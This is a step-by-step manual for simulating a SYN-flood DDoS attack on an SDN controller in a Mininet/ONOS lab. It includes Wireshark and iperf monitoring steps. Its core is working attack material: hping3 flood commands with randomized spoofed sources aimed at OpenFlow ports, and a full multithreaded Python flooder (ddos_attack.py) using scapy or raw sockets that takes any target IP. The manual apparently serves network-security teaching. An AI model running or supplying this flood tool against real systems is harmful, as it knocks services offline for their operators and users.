USER MANUAL: SIMULATION OF DISTRIBUTED DENIAL OF SERVICE ATTACK (DDOS)

This user manual guides you through the process of conducting a Distributed Denial-of-Service (DDoS) attack simulation on a Software-Defined Network (SDN) using Mininet, the ONOS controller, `hping3`, and a custom Python script. This setup targets the SDN controller with SYN flood attacks, demonstrating potential vulnerabilities in SDN-based networks.

Pre-Requirements

- Tools: Mininet, ONOS SDN controller, hping3 (simulating traffic), Wireshark (for monitoring), Python environment.
- Network setup: A Mininet network topology with an ONOS controller running.
- Virtual Machines: Set up two VMs, one as the attacker and the other as the target/victim.

1: Verify Network Connectivity

1. Start Mininet with your configured topology and ONOS controller.
2. Check connectivity between nodes to ensure the network is running as expected:

```
bash
  > pingall
```

2: Prepare the Environment

1. Update package repositories:

```
bash
  > sudo apt-get update
```

2. Install `hping3` for packet crafting:

```
bash
  > sudo apt-get install hping3
```

3: Gather Network Details

1. Identify the IP addresses of the attacker and target machines.
2. Use the following command to display network interfaces and verify IP addresses:

```
bash
  > ifconfig
```

4: Set Up Network Monitoring

1. Open a terminal on the target machine and launch Wireshark to monitor incoming packets:

```
bash
  > wireshark
```

  - Apply a filter for SYN packets (`tcp.flags.syn == 1`) to monitor SYN flood traffic effectively.

5: Launch DDoS Attack Using `hping3`

On the attacker machine, execute a SYN flood attack targeting the SDN controller:
bash

```
> sudo hping3 -c 10000 -d 20 -S -w 64 -p 80 --flood --rand-source
<TARGET_IP_ADDRESS>
```

- Options:
  - `-c 10000`: Sends 10,000 packets.
  - `-d 20`: Packet data size of 20 bytes.
  - `-S`: Sets the SYN flag in the TCP header.
  - `-w 64`: TCP window size of 64.
  - `-p 80`: Target port (use 6633 or 6653 for OpenFlow controller ports).
  - `--flood`: Sends packets as quickly as possible.
  - `--rand-source`: Randomizes source IP addresses.

Alternative: Target OpenFlow Controller Ports

To simulate attacks directly on the controller, specify OpenFlow ports 6633 and 6653:
bash

```
> sudo hping3 -S -p 6633 -d 500000 --flood --rand-source <TARGET_IP_ADDRESS>
> sudo hping3 -S -p 6653 --flood --rand-source <TARGET_IP_ADDRESS>
```

6: Monitor Attack Impact

1. Observe the SYN flood in Wireshark on the target machine.
2. Check metrics like increased traffic and SYN packets from random IP addresses.

7: Using Custom Python Script for SYN Flood

The Python script below can be used as an alternative method to generate SYN flood attacks on the target.

Usage Instructions

1. Save the Python script as `ddos_attack.py`.
2. Run the script with arguments:

bash

```
  > python3 ddos_attack.py <TARGET_IP> --port 80 --threads 500 --method scapy
```

  - Options:
    - `--port`: Target port (e.g., 80, 6633).
    - `--threads`: Number of threads (e.g., 500).
    - `--method`: Selects attack method (`scapy` or `socket`).

Python Script

- syn_flood_scapy: Sends SYN packets using the `scapy` library.
- syn_flood_socket: Uses raw sockets for sending SYN packets.
- worker: Runs attack threads.
- main: Parses arguments and starts multiple threads for the attack.

```
import argparse
import threading
import random
import socket
import struct
from scapy.all import IP, TCP, send

def syn_flood_scapy(target, port):
    while True:
        sport = random.randint(1024, 65535)
        seq = random.randint(0, 4294967295)
        octects = [str(random.randint(0, 255)) for _ in range(4)]
        src = ".".join(octects)
        payload =
'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZYU
NHOZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
ZZZZZZZZZZZZZZZZZZZZZZZZ'
        packet = IP(src=src, dst=target) / TCP(sport=sport, dport=port, flags='S', seq=seq) /
payload
        try:
            send(packet, verbose=0)
        except:
            pass

def syn_flood_socket(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    while True:
        sport = random.randint(1024, 65535)
        seq = random.randint(0, 4294967295)
        ip_header = IP(dst=target)
        tcp_header = TCP(sport=sport, dport=port, flags='S', seq=seq)
        packet = bytes(ip_header / tcp_header)

        try:
            s.sendto(packet, (target, 0))
        except:
            pass

def worker(target, port, method):
    if method == 'scapy':
        syn_flood_scapy(target, port)
    elif method == 'socket':
        syn_flood_socket(target, port)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("target")
    parser.add_argument("--port", type=int, default=80)
    parser.add_argument("--threads", type=int, default=500)
    parser.add_argument("--method", choices=['scapy', 'socket'], default='scapy')

    args = parser.parse_args()

    for _ in range(args.threads):
        thread = threading.Thread(target=worker, args=(args.target, args.port, args.method))
        thread.daemon = True
        thread.start()

    while True:
        pass

if __name__ == "__main__":
    main()
```

8: Monitor Performance Metrics on the Network

1. Latency:
bash

```
  Mininet> h1 ping -c 10 h2
```

2. Bandwidth/Throughput:
  - On `h1: Start iperf server:
  bash

```
    h1 iperf3 -s -p 6653
```

  - On `h2`: Run iperf client:
  bash

```
    h2 iperf3 -c h1 -i 5 -t 30 -p 6653 --cport 6653
```

3. Packet Loss:
bash

```
  Mininet> h1 ping -c 100 h2
```

Monitor these metrics to understand the impact of Distributed Denial of Service (DDoS) on Software Defined Network (SDN) controller performance.

Command description:

Command	Description
-p	Specifying server port to listen and connect to.
--cport	Specify the client port (only on v3.1)
-i	Time interval
-t	Time taken
-c	Client mode